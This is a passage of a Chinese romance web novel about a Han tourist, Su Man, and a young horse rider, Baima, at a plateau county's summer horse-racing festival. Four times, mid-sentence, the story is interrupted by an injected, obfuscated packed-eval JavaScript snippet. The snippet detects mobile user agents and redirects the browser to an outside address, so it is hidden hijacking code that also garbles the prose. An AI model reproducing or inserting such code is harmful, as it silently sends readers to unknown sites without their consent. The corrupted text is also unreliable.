那是个游客姑娘,可能长的漂亮,被陌生人拉了进去,一起跳舞。 话音刚落,苏曼的小手被一只有力的大手牵了起来,朝着锅庄舞人群中走去。 白玛牵着苏曼的手,一起融入了锅庄舞的大群。 踢了左脚,又踢右脚,甩起了他的长发,抬着眼看着十分窘迫的苏曼。 那张黝黑俊美的脸离的她有些近,她感到十分的不适。 “你看,就这么跳。你也可以的。” “哎呀哎呀!哎呀!好难呀!” 苏曼在努力的用语气平复自己的慌乱,同时又完全找不到自己的步伐。 一会儿撞到左边的白玛,一会儿又撞到右边的卓玛,身子拧的像个纠结的麻花。 但是却有一些快乐。 他们牵着手,跳了一圈又一圈,直到苏曼不再感觉慌张。 与人亲近接触,似乎也不是那么难受了。 白玛的脸上洋溢着帅气与淳朴,这样的人,又怎么会伤害她呢。 这个夜晚,因锅庄舞而欢乐,两只潮湿的手一直握在一起没有分开。 直到广场舞结束,人群散去。 夜晚的风声和摩托车的轰鸣声相互交织着, 苏曼抓紧白玛的衣服,将脸躲在白玛的身后,长发飞扬。 望着一列列往后倒去的树影,在灯光中交织闪错。 苏曼感受到了这偏远县城夜晚的美好。 连路灯都那么安静与温柔。 前面一阵阵颠簸着的白玛的后背,像是一堵坚实的墙,挡住了所有唏嘘的风。 苏曼看不见远方。 只看见白玛飘扬的长发不停的飞舞。 - 还是只送到了酒店的门口, 苏曼下车整理好裙子,拨了拨被风吹乱的头发,看着白玛说: “明天去看你赛马!你要加油哦!拿个第一名回来!” 于是冲着白玛做了个加油的手势。 “我去年就是第一名嘛,我在村子里也是第一名嘛!”白玛骄傲的说, 苏曼瞪着眼睛挑了挑眉: “不是吧!你这么厉害呢?那我可是找了个厉害的人!” 白玛咧着嘴笑,又露出了他的白牙,颇有些害羞的甩了甩头发: “去吧!我们明天马场见!” 苏曼摆着手,转身向酒店大门走去, “姐姐!明天去马场的时候,记得帮我带一点吃的哦!”白玛忽然叫住苏曼, 苏曼楞了一下: "好的呀!你想吃什么呀?" “都可以的,我啥都爱吃!” 他到确实看着不像是个挑剔的人。 目送着苏曼走进了酒店的大门,拧开油门,一阵轰鸣,白玛骑着车向村口奔去。 明天,是个重要的日子。 对白玛来说,明天是草原上的狼飞奔的日子。 - 一大早,整个县城洋溢着欢快的节日气氛。 夏季赛马节在这个偏远县城来说,是一年中最大的盛会。上到县里的领导,下到各村的村民,都会来参加。 县城里几条主干道上已经挂满了各式各样的装饰,比春节还要热闹和喜庆。 苏曼扒着窗户看着外面热闹的情景,迅速挽起了长发,戴上了棒球帽。 匆匆下楼冲进了酒店旁边的小超市,看见货架上有什么就拿什么。 “嗯!蓝牛!喜虎!还是喜虎吧,有瓶盖可能白玛喝起来比较方便一些”。 苏曼嘟囔着,很快就装满了一大兜。 这些应该够了吧?白玛今天会不会取得一个好成绩? 苏曼迅速冲出了超市,跳上出租车,直奔赛马场。 “美女!是来旅游的吧?”司机师傅看着苏曼笑眯眯的说道: “我们这里的小伙多多的帅呢!” 苏曼笑了一下,想到了白玛: “是的呀!帅的很呢!” “有没有谈一个朋友嘛?”司机继续说道, “哎呀没有呀!这里的小伙都小的很呢,还都是小弟弟呢!” 苏曼也开始学着当地人的语气,说着高原普。 “没的事噢,不小了,我们这里十八岁的男孩子,好多都当爸爸啦!” “啊?!不是吧!!”苏曼吃了一惊。 “是的呢!骗你做什么!” “这怎么会呢?不是要到二十二岁才可以结婚的吗?怎么会当爸爸呢?” 苏曼脑子都快转烧了,也想不出怎么会这个样子。 “哎呀!谈了朋友就可以生孩子了嘛!结婚嘛,到年龄了再结嘛!” “噢!原来是这样子啊!那这样到也不是不行。” 苏曼一下子就明白了。他们没到法定结婚年龄的话,就会先谈恋爱、先上车,该生娃生娃,该过日子过日子,该举办婚礼就举办婚礼。 等到过两年到了法定年龄,再去把结婚证领了。 就,真行。 听司机师傅说,也有很多甚至连结婚证都一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591131|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直不去领的,就这么一直过着。好像那个东西并不太重要。 这么看来,到跟西方的婚姻观念有点像。 相爱就在一起,结婚证不重要。苏曼回想起一些曾经看过的八卦: 那些欧美明星两人在一起都生好几个娃了,也不领证。过不下去了,就直接分手。等真的想明白了,要共度一生,再去领证也不迟。 没想到这么传统的长西高原,在婚姻这方面到是挺自由的。 怪不得大街上游荡的全是十八九岁的小伙子,原来稍微大一点的早就生子当爸爸、承担家庭去了。 所以,高原上的男女,或许要比汉地男女,早成熟至少五到十年。 可能这就是偏远山区的现状吧。 他们世世代代在这里生活,极少走出这片高原。 小伙子和姑娘们到了年纪,自然就会谈恋爱,谈了自然就在一起生子。 没有那么多的未来如何、规划如何、期望如何、欲望如何。 不过就是一代一代的在这片土地上传承,男人和女人一起过日子罢了。 当然,可能也与他们的原始与野性有关,当下需要什么,就去做什么,不用思考。 他们只追随人性,尊重人性,并且成全人性。 车子开出了县城,一路上总能看见开着车拉着马,或骑着马再牵着几匹的少年,马儿身上有些被装扮的五彩斑斓。 这应该就是准备要参加赛马的选手吧,他们都带着自己的宝马往马场去。 过了几分钟车拐进了一条双车道的草坪,迎面立着一个大大的充气拱门,拱门上写着“夏季赛马节”。 “啊!到了!” “真的挺多人啊!” 在拱门前有几名保安在维持着进场的秩序。 旁边摆着一张木桌和一把大大的遮阳伞,木桌前坐着一个穿工作服的当地姑娘,脸上也是两片淡淡的高原红。姑娘表情严肃,一看就是体制内的。 苏曼花了八十块钱买了一张门票,然后顺利的通过了拱门。 安检程序非常简单,也可以说几乎约等于没有。 许多当地人都是可以自由进出的,也许门票只是针对游客,哪怕你是穿着当地服装的游客,他们也能一眼通过你的皮肤把你认出来。 进入大大的赛马场,草地上有一个个的凸起的小草包,走起来深一脚浅一脚,还好苏曼今天穿的是登山靴。 草原上的夏季,白天太阳很烈,苏曼身上的羽绒服穿起来已经有些热了。 走在户外,墨镜、帽子是必不可少的,当地人不仅如此,还会常年戴着口罩或面罩,即便是这样,他们的脸还是会被晒的通红。 这个赛马场实在太大了,整个被划分了几个片区。 最左侧是跑速度赛的一圈一圈的跑道,目测大概一圈有个10公里或者5公里。 中间是一条长长的跑道,跑道的一边搭了几个比较大的帐篷,大约是马术表演的候场区。 跑道两边早已经聚集了许多打着伞的村民,男男女女,或一家一家的聚在一起,或坐在地上。 帐篷的那边被围了起来,里面站着一群打扮的五颜六色的赛马手小伙子们,大部分年龄应该都在二十岁左右。 5. 第5章 小伙子们在认真的给自己换装,给自己的马儿装扮。 高高的白玛在人群中特别显眼,苏曼一眼就看到了他。 他穿着一件大红色的民族服装。里面和其他选手一样统一穿着白色的短袖T恤。 白玛的袖笼只穿了一边,另一边露出他那健实的胳膊,一条条黝黑紧实的肌肉,在太阳下闪着光亮。 苏曼提着一大袋食物和饮料,朝白玛那边走了过去: “白玛!” 白玛迅速转过头,看见了苏曼,但是却开始不紧不慢的朝这边走了过来。 今天两个人都穿着大红色。 苏曼看着白玛的样子好生奇怪,感觉好像不认识她一样,假装是不经意的,一点一点的,往她这边溜达。 哎呀!他该不是害羞吧? 也是,今天这么多人,说不定还有他的家人、兄弟朋友们,何况她还是个汉族姑娘。 看着白玛那个装模作样的样子,苏曼抿着嘴笑了起来。 她也开始配合他。 溜达着移到栏边,悄咪咪的把袋子递给白玛,又自然的转过身去,假装不认识,假装啥事没有发生。 两人像接头的特务一样,十分默契。 待走开了几步,再回头,见白玛也在回头看苏曼,他冲她咧着嘴笑了笑。 苏曼也冲白玛做了个握拳的手势,像是在鼓励他今天要拿个好成绩。 - 太阳晒的苏曼越来越热,这到像是一个初春的温度。 她想把红色的羽绒服脱下来,但是一想到穿着大红色的衣服,白玛更容易能看见她。 于是她学着当地人,将一只袖子脱掉,甩在一边,露出了半个肩膀。 速度赛那边已经开始了跑圈了,可能是因为赛时比较长的缘故,一直围着观看的人并不多。 大家只是偶尔溜达过去看几眼,再又回到这边。因为观众区就在表演赛的长跑道旁边。 观众区有一排排的高低座位,上面还有个超级大的顶棚子,左右两边摆放着音箱,会实时播报速度赛那边跑圈的排名变化,以及比赛的结果。 表演赛这边,反倒是一层一层的人群,把中间的跑道严严实实的包围了起来。 草原上的人,更看重的就是马背上的技术。 选手们也开始牵着马或骑着马,陆陆续续的往跑道的尾端那边走。 他们要从最尾端朝着最前端这边冲过来,骑着他们心爱的战马,展示着他们的马技。 准备了那么久,只为这短短几分钟的表演。 看着涌动的人头,苏曼赶紧往前挤了挤,想要占据一个有力的位置,好为白玛拍照。 好心的大叔让出了半个身子,让瘦小的苏曼挤了进去。 苏曼朝远方望去,找了半天才找到白玛的身影。 今天穿大红色的选手也不少呢! 选手们开始陆续的上马,准备在全县的父老乡亲们面前一展雄风。 苏曼赶紧把墨镜摘了下来,把帽檐往上推了推,掏出手机,做好了随时拍照的准备。 随着一阵呼啸,前方扬起了尘土,扑在两边人群中的脸上,他们却丝毫没有闪躲。 大家都洋溢着兴奋又快乐的笑容,男人们时不时的大吼一声,为选手助威。 在此起彼伏的吼叫声中,马队冲了过来。 白玛在马群中,高高的身子压低在马背上。 抬起的手臂轻松的攥着缰绳,一手甩着马鞭,那头长发在风中肆意飞舞,帅气非凡。 好一个马背上的汉子,草原上的野马,草原上的狼! 苏曼看着飞驰而过的白玛,激动的跳着,也喊叫了起来: “白玛!加油!白玛!加油!” 这第一遍是热身,选手们的第一轮亮相,也是开场前的造势。 选手们又骑着马回到了尾端。 尘土再次飞扬了起来,马术表演即将正式开始。 苏曼又往前挤了挤,朝着白玛的方向招手,但是不知道远方的白玛能不能看见瘦小的人群中的她。 此时兴奋的苏曼也管不了那么多了,就是觉得无比的高兴。 突然看见远方的白玛,把两只手都抬了起来,抓住双手握成了一个圈,撑架在了脑袋上。 像是冲着这边伸了个筋骨,又像是在悄悄的给苏曼一个回应。 这臭小子! 第二轮又要开始了,一匹马朝这边冲了过来。 马背上的选手开始单脚勾着马镫,将整个身子探到一侧的马下,再利用腰力起身回到马背上。 如此反复做几个回合,直到差不多跑完整条跑道。 这腰力也太惊人了,简直就是马背上的仰卧起坐。 而且马儿还是在飞奔过程中,果然是马背上的民族! 苏曼直接都快看傻了,这是什么神力操作,在汉地,哪有这样的男子。 肌肉也许能练的一坨坨,但也比不上这种精干啊。 草原汉子果然名不虚传。 左盼右盼,终于盼来了白玛。 白玛的腿特别长,导致他离马下身的时候都快挨到地面了。 在前面常规做了几个起身下身回合后,马儿朝着苏曼这边奔跑,越来越近。 白玛突然下身,却没有马上起身。 而是松开缰绳,张开双臂,单腿吊着马镫挂在马上。 利用腰力将身子一直贴近地面,保持了近一分钟之久。 那真是触目惊心! 这一表演引来了全场的喝彩,各种吼叫声似乎在赞扬着这是一个高手,是真正的草原汉子。 苏曼已经无法用语言来形容此刻的惊奇。 这一切,太神奇了。 不知是从未见过的赛马节神奇,还是从未见过的白玛神奇。 白玛起身跨回马背,甩动着他的马鞭,雄赳赳的远去。 后面白玛又表演了两轮:马背上射箭、马背上捡哈达,哈达数量捡的越多就分数越高。 上午的节目差不多就要结束了,速度赛那边也时不时传出战果。 大家开始四处散去,找阴凉的地方坐下撑起伞歇着,或者找个小摊吃碗凉面、泡面。 在这里,辣条和泡面最受欢迎。 苏曼走了好远,终于找到了厕所,这一路鞋子已经脏的不成样子了。 手机响起,是白玛发来的一条微信。 “你在哪里呢?” “我在这边上厕所呢,你在哪儿呢?”苏曼抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591132|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头寻找张望。 “我在舞台这边,你过来这里找我吧。” 白玛今天的比赛已经结束了,下午可以自由活动。 苏曼甩着脚上的泥泞,也顾不了许多,赶紧朝舞台广场走去。 远远看见白玛低着头,正无聊的踢着地上的草垛子,时不时又忘向这边,眼神寻找着苏曼。 那身大红色的民族服装,穿在他高高的个子身上,还真有点像个新郎装。 还有他那头草原上的野性长发。 苏曼感觉空气有些稀薄。 “白玛!你结束了嘛?”苏曼朝他喊道, “对啊,我现在可以陪你了。” 说完白玛拧开了一瓶苏曼今天早上在超市给他买的喜虎,递给了苏曼。 在高原上喝喜虎这种功能饮料,可以让人没有那么容易高反,还有高热量的酥油茶也有这个功效。 刚上完厕所的苏曼,放心的喝了一大口,又从白玛手里接过瓶盖,自己拧上,揣在怀里。 有人从他们身边走过,时不时都会打量一下他们,但白玛也不再害羞了。 可能是来马场看赛马的家人、朋友、兄弟们都已经回家了吧。 “你吃了没有?” “没有呢。” 苏曼连忙回答,因为她不知道白玛中午就可以结束了,想着先上个厕所,再到处溜达溜达找吃的。 “走,我带你去吃好吃的。” 白玛伸过他的大手,一把拽住了苏曼的包包,拉着她往前走。 苏曼一阵紧张,也只能跟着他走了起来。 在马场的最右边一片区域,有一排进场的摊位在那里摆摊,里面有各式各样的小吃,食品,饮料,供大家中午选择。 这些小摊老板们也是想着靠一年一度的赛马大会,好好的赚上一笔。他们兴奋的喊着: “来吃点烧烤啊!这里有烧烤!” “方便面要不要?方便面要不要?” “凉皮五块一碗!凉皮五块一碗!好吃的凉皮!” 两人逛了一圈,决定吃个开胃的烧烤。 在草原上吃烧烤,看上去最合适不过。 烧烤的烟,熏的苏曼连连直躲,白玛一把挡在了她的身前,咧着嘴看着她笑。 “要不要我帮你背包包嘛?”白玛主动的说道, “啊?这样不好吧。” 苏曼感到有些惊讶。 要知道,听说这边的男人,可都是很大男子主义的,怎么可能男人给女人背包包。 “没事的,你给我吧,我帮你背。这样你吃起来方便一点。” 说着白玛就把苏曼身上的包拿了下来,跨在了自己宽大的肩膀上。 跨完包还冲着苏曼挤了挤眼,似乎在说:“你看,没事吧。” “女朋友啊?可以哦,小伙子,这么漂亮的女朋友。” 烧烤摊老板边忙着烧烤边抬起头对白玛表示赞赏。 “不是!不是!我们是朋友!好朋友!”白玛连忙笑嘻嘻的摆手。 苏曼也道:“你看我们也不像嘛,我比他大不少呢。” “大怕什么!我们这里的小伙子,只要喜欢就可以了,你就是生了三个娃娃,他爱你都还是会爱你的。” 6. 第6章 烧烤摊老板聊到这个话题,一下子就来劲了,可能是做生意无聊,也可能是看着眼前这两个不同民族的人,总想聊点八卦的样子。 烧烤摊老板开始热情的给苏曼普及这边的风情,男女之间的风情。 草原上的爱情,热烈而毫无顾忌。 年纪大小嘛,没关系的,喜欢就在一起。在一起就生娃娃,生一个是带,生两个也是带。 这边大部分家庭的孩子都在三个以上,甚至有的家庭有十个孩子。 可能他们的父母,也是在年纪很小的时候早早就在一起谈恋爱的缘故,所以,他们的生育周期特别长,生十个也不出为奇。 离婚的,离婚带娃娃的,都没关系。 总之,就是,喜欢就会在一起。 说到离婚,虽然这是偏远山区,但是离婚的却也不少,可能也跟他们敢爱敢恨的性格有关。 但跟汉地不同的是: 这边的女人即便离婚了,也都很容易再找到男朋友。 男人爱一个人,看的是这个人,不会去考虑她是否结过婚,是否有孩子这些外在因素,他们的爱情更加淳朴。 他们甚至会心甘情愿的帮她们养前夫或前男友留下来的孩子,以男朋友或者老公的身份,一起抚养长大。 是的,他们未必会结婚。结婚并不是必选项。 在一起才是。 所以,这样看来,牧区的女人虽然文化水平不高,整日里也都是操持家务、带孩子。 甚至还需要一个人去牧区山上放牧,一呆就是一整个月,确实是比男人更辛苦。 但是,在男女感情方面,还是比较平等的。 这到有点接近母系社会。 总之,草原上的女人,在婚姻和情感上是自由的! 唯一的束缚,可能会来自家族,但是他们热烈勇敢的性格,与家族对抗那也是常有的事。 最常见的,就是“私奔”。 男女相爱,家人不同意,那就私奔,私奔几个月回来,不同意也就同意了。 烧烤摊老板的这一顿草原文化输出,叫苏曼惊讶的一直瞪着眼睛张着嘴。 而白玛,看着来自汉地的苏曼,看着她那没见过世面的样子,在一旁乐呵呵的傻笑。 苏曼好奇的又接着问道: “那他们是不是只能跟同族的结婚啊?” “啊!不是的。也有的,有的!以前不多,现在多哦,好多去兰城、永京打工的小伙子,也会带汉地的女孩子回来哦,在县上再开个店嘛!要么就嫁给女孩子在汉地过嘛!只要不坐家就行了,爸爸妈妈同意就可以了,两个人喜欢就可以了嘛!” 喜欢就可以了嘛!是他们挂在嘴边最多的一句话。 当然,还有爸爸妈妈同意就可以了。 但,大部分,这种跨民族的婚姻,爸爸妈妈是不同意的。 但是当下的年轻人,已经不在乎了。 “男的嫁给女的?是入赘吗?” 什么叫嫁给女孩子在汉地过?苏曼没听懂。 “不是入赘,就是你嫁给我,我嫁给你嘛!” 苏曼还是没懂。 白玛乐的不行,补充道: “我们这边不分男女的,都可以嫁的。男的也可以嫁给女的,主要是看在哪边生活方便嘛。” 噢!他们只看在男方家生活方便,还是在女方家生活方便,你嫁给我,或我嫁给你,都无妨。 这又是一大新奇的进步啊!还别说,真挺平等的。 白玛躬着身子上前去烧烤架上拿了一串肉啃了起来,一边在笑,这个烧烤摊老板还真会聊。 “小伙子,你今天赛马了没有?我看今天来了好多马,你们今年是不是又要卖出去好多马?” 白玛作为一个做卖马生意的人,自然对这个话题也很感兴趣: “是啊,今天来了好多马,也有不少的外地马,外地马太漂亮了,就是太贵了。外地马跑比赛厉害的,他们腿长啊。我们本地马现在不好卖,个子比较小,样子也不帅,就是耐力可以,但是速度不行。” “是嘛是嘛!我看好多都是专门从外地拉过来的外地马,比本地马看上去帅多了,很高大的。那些马肯定很贵吧?” “肯定贵的啊,品种马,几十万,甚至百万的都有啊。什么时候我们本地马也能这么值钱就好喽!” 白玛羡慕那些能卖上好价钱的外地马,他们本地马在高原上长大,耐力不错,但是个子矮小,样子有些丑,所以普遍价格也就几万块的样子,超过十万块的一般也都是配种的混血马了。 苏曼听着白玛滔滔不绝的讲着他的主业,也算是了解了一些马业方面的知识。 原来那些个子小小的都是本地马,苏曼奇怪的知识又增加了。 最后几串羊肉串也烤好了,两个人为了不阻挡烧烤摊老板的生意,走到了旁边无人的一块空地吃了起来。 白玛低着头,挑着碗里的串串,递给了苏曼一根。 面对着面,两个人狼吞虎咽的啃了起来。 忙活了一上午,饥饿,在这一刻被激活。 苏曼掏出纸巾,递给了白玛一张。 白玛看着苏曼嘴角的油,忍不住直接帮她擦了一下。 苏曼下意识的往后躲了躲。 “你吃的到处都是......” 白玛意识到了自己的唐突,找补了一句。 “啊,没事。” 吃饱喝足的两个人,开始到处闲逛。 除了小吃摊一条龙,另一头,还有许多卖工艺品、纪念品的地方。 苏曼又开始兴奋的逛了起来,看看这个,看看那个。 “我想给我的好朋友带个礼物呢。” “男的女的?”白玛问道, “当然是女的啊!” 白玛听完也开始帮忙挑选了起来,扒来扒去,似乎都没有挑到喜欢的东西。 苏曼买了一串檀香木的佛珠,说是檀香木,价格却不贵,两百来块。 主要是它有一个精美的包装盒子,还是木头的,这非常适合送人。 苏曼说: “这个送给我朋友,然后我自己也想买一个,但是我不想买佛珠,我想买个戴的,可以戴脖子上的。” 可是逛了半天也没有挑到喜欢的,各式各样的石头,就像是从永京的番家园搬过来的一样。 苏曼有些扫兴。 白玛咬着唇撅着嘴,看着苏曼失望的样子,眨了眨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591133|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛,不知道在想些什么。 - 太阳晒的后背已经开始有些出汗了,苏曼把红色羽绒服脱了下来。 白玛把她的羽绒服绑在了包包上一起背着,然后他也把外套脱了挂在腰上,只穿着里面的白色短袖T恤。 白玛的手机响了起来: “白玛,你的马送回去了没有?你在哪里?你过来一哈嘛,你在做撒子哦?” 是扎西打来的,这两个看起来像是好基友啊。 “姐姐,那个扎西在叫我,我们现在过去一下那边嘛。” 白玛叫住了在前面逛的苏曼。 扎西在收拾东西的时候,捡到了一个笼头,但是不确定是不是白玛的,所以让他过去看一眼。 两个人赶紧往那边赶了过去。 白玛还背着苏曼的包和衣服,他犹豫了一秒,又把包往肩膀上挂了挂,大步向前走去。 “哎哟哟!又看到漂亮姐姐了哟,姐姐你好,今天玩的开心不撒?赛马好不好看?今天我们的白玛帅不帅?” 扎西直接冲着苏曼说话,完全没有在意旁边的白玛。 “白玛,你可以哦,帮姐姐背起包包撒,德西看到了要伤心的哦。” “啊?怎么啦?什么德西?” 苏曼一下子就懵了,并且升起了八卦之心。这个德西到底是怎么回事。 “哎呀!我们村子里的德西嘛,特别特别喜欢我们白玛的,他们两个是小学同桌呢,白玛还亲过她呢!” 扎西像是逮着了机会一样,终于可以把白玛的事情抖落出来给姐姐听了。 你小子,落井下石是吧。 白玛瞬间就急了,上前搡了扎西一下: “你不要乱讲,我可没喜欢过她。” 扎西向后踉跄了一步,嘴上却不依不饶的: “那亲了嘛?亲了没有嘛?我们村子里的人都知道的,哪个不晓得嘛!” 白玛上前拎着扎西的后脖子领,在地上给他转了半圈,扎西个子小,就像被拎小鸡一样,嘴里一直“哎哎“的,似乎在说,我不要面子的啊! “看你还瞎说,我们那是小时候不懂事嘛。还不是你们在那里起哄,要我打赌,输了嘛。再说了,也就是碰了一下脸子嘛,又不是真的亲!” 原来扎西说的是小学鸡仔打赌捉弄女生的故事。 苏曼听完他俩的对话,赶紧拿过跨在白玛身上的包包,然后把羽绒服绑在了腰上: “哎哟哎哟!那可真不能叫德西看见了,不然我罪过就大喽。” 白玛生气了,狠狠的又瞪了扎西一眼,把笼头直接扔在了地上,转身就走了。 苏曼追了上去, “白玛!你咋啦?” 苏曼也没有办法,只好追着问一嘴,这到是真有点尴尬了。 “没有,这个扎西,总是乱讲话。” 苏曼噗嗤一笑: “那也没什么的嘛,有啥子好生气的嘛,那个德西漂亮吗?她跟你一样大吧?你们还是小学同学呢。” 苏曼又开启了愉快的吃瓜模式,年轻人的爱情故事嘛,谁不想听呢。 “差不多吧,她比我小两岁。没有,主要是......她家爸爸喜欢我呢。” 7. 第7章 白玛好像是在岔开话题。 原来是德西的爸爸看上白玛了,那还真是不错呢。 父母都同意的爱情,才是最好的爱情。 “她爸爸都喜欢你啊?那你厉害的哦。” 苏曼想,这是把岳父都搞定了啊,看样子真是个好娃娃。 在这里,只要你不吃喝嫖赌,不做街溜子,不同时谈好几个女朋友,认认真真帮着家里做事情,能够承担起家里的责任,就是好男人。 当然,骑马骑的厉害的,也很加分。 如果能训马、养马,甚至还会卖马、做马的生意,那就基本上算是顶级本领光环了。 这样的男孩子,不光姑娘们喜欢,连长辈们也是从小就盯好了,都抢着要预定女婿呢! 白玛的骑术在村里是数一数二的,也是出了名的训马高手。 三万块买回来的本地马,让白玛训练一个春天,到了夏天就能卖到六万块。 大家都喜欢把自己买回来的马交给白玛来调教,甚至有些时候是有偿的,因为白玛的时间特别宝贵,他自己也有那么多的马要养。 更难能可贵的是,白玛还会做卖马的生意,这一般都是三十多岁的大人们会做的事。 甚至有些村里的大人都没有白玛会卖马。 白玛是村里唯一一个在二十岁左右的年纪,就开始做卖马生意的人。 甚至还做的很好,他一个人就养着三十多匹马。 谁不想要这样的女婿啊? “他爸爸是喜欢我会卖马,他爸爸很喜欢马的,但是他自己骑的不好。” 白马继续说道: “你看我在网上发的那些嘛,都是我骑马的视频,他们喜欢我的马,就会私信我谈价钱。” 原来如此,果然年轻人就是不一样,连卖马获客也运用到了网络上。 这果然是老一辈人不擅长的。 时代,在进步。 这个山里的年轻人,也在用他们自己的方式,与这个时代融合。 这小子还挺有头脑的,苏曼以为他只是在网上揽客做向导呢。 原来卖马,才是他最大的生意。 做向导对于白玛来说,大概就是个兼职吧!而且这还是头一回做。 “给我吧,你背着累的呢。” 白玛又把苏曼的包接了过去,直接跨在了肩上。 苏曼心里的石头已经落了地,也不害怕影响他什么了。 苏曼打量着白玛,宽宽的肩膀,薄薄的胸肌,但是胳膊壮实有力,青筋条条暴起。 一看就是力量型选手,在家里应该干很多重活吧。 骑马训马,应该也是需要很大的臂力的。 苏曼想起了刚才白玛骑马的样子,想起了他那变态的腰腹力量...... “我们现在去哪儿呢?白玛?” 苏曼跟着白玛,也不知道要往哪里去, 白玛停下来,看着苏曼,又挠挠头: “那边好像有个游乐场吧!我听扎西他们说的呢,好像是专门给游客还有小孩子玩的。” 白玛左看右看,终于找到了游乐场的方向。 看着白玛背着包,身上一大堆东西的样子,这会儿到真像个导游。 苏曼轻松的甩着手,跟在白玛身后。 这个游乐场大部分都是当地的小孩子在玩,也有一两个游客。 在游乐场的中心,是一个大大的碰碰车场地,然后还有一些荡秋千什么的。 “那就玩个碰碰车吧!” 苏曼走过去交钱,问白玛要不要也一起玩。 白玛杵在那里有些不好意思的样子,似乎是不太想让苏曼为他破费。 “没事的,玩嘛,你就当陪我一起玩一下。” 苏曼如此说了,白玛也就爽快的答应了。其实他之前也没有玩过碰碰车。 苏曼交了两个人的钱,然后白玛去把包包存到服务员柜台那里。 白玛背着苏曼的包和衣服走了过去,跟那个存包的服务员打了个招呼。 看起来他们好像是认识的样子。 那是一个化了有点浓妆的本地女孩子。年纪大概和白玛相当。 樱桃小嘴,长相非常甜美,但是那个浓妆显然和她的年龄和气质特别的不搭。 又黑又粗的眉毛,还拉着长长的眼线,小嘴涂的通红,特别是,那张像刷了白墙一样的脸。 “原来这边的女孩子也这么爱美呢!”苏曼心里想着。 看白玛和那个女孩似乎也聊了蛮久,那肯定是认识的。 望过去,女孩似乎不太开心,黑着个脸。 而白玛,一副直男的做派,仰着头拽拽的样子,脸上也并没有太多的表情。 就像例行公事一样的交流着。 存完包,白玛向这边走了回来。 “你认识吗?那个女孩子你认识啊?” 苏曼又八卦的问了起来, “啊,就是那个德西嘛,我们村子里的那个。” 白玛轻描淡写的,似乎跟他一点关系都没有。 “我也不知道她咋报名了,在这里帮忙做义工呢。” 原来是这样,看来当地年轻的女孩子们也在努力的追求着自己的价值。 只是也许,这个小小的县城,能提供给他们的机会并不多。 “啊?哈哈!这么巧啊,那你们聊啥子了嘛。” 苏曼已经是一口的高原普,坏笑的问白玛, 白玛舔了舔唇:“没啥子,她就是问我你是谁嘛。” “哈哈!那你咋说的嘛。”苏曼继续坏笑, “我说你是我朋友嘛,我还能说姐姐你是我女朋友啊?” 白玛黝黑的豆豆眼故作无辜的望着苏曼,浓密的睫毛扑闪着。 他反将了苏曼一军。 “哎哟,你可别瞎说。”苏曼忙缩了回来,这娃子逗不得。 白玛没有跟德西透露自己在做向导的事,又或许是故意向德西发出挑衅。 怪不得德西不高兴呢。 德西一直望着这边,白玛故意站的离苏曼很近,用高大的身材挡着苏曼。 他还故意一直盯着苏曼。苏曼到是未察觉这些暗涌。 只是德西是草原上的女子,她哪会这么轻易的放弃!这是草原女人的血脉。 “白玛!你等下玩完了过来一下嘛,我有事找你说。” 德西冲这边喊到! 白玛没有回答她,只是回头朝她看了一眼。 在工作人员的指引下,两人分别上了两辆碰碰车。 车子发动起来,越开越快,白玛时不时的向苏曼撞去。 苏曼却不敢撞白玛。 十分钟的碰碰车时间,很快就结束了,苏曼的头发甩的满肩凌乱。 而德西,已经拿着苏曼的包和衣服,早早等在了下车的地方,看着他们。 白玛跳下车,似乎并没有在意旁边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591134|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德西。 苏曼理了理乱发,抓起一把往脑袋后面拨了拨。 德西走过来,把包交给苏曼: “姐姐,你在这里等一下哈,我跟白玛有点事情要说。” “噢,好的好的,没事,你们去吧。” 白玛被德西带回了存包的服务台那里。 一前一后的走着。 “白玛,她是不是你女朋友?” 德西率先问道, 白玛很不情愿回答她这个问题,似乎这并不是他需要向她交待的事情: “做撒子嘛?我忙的很!你有啥子要说嘛?” 白玛显的很不耐烦,着急赶紧把德西对付完。 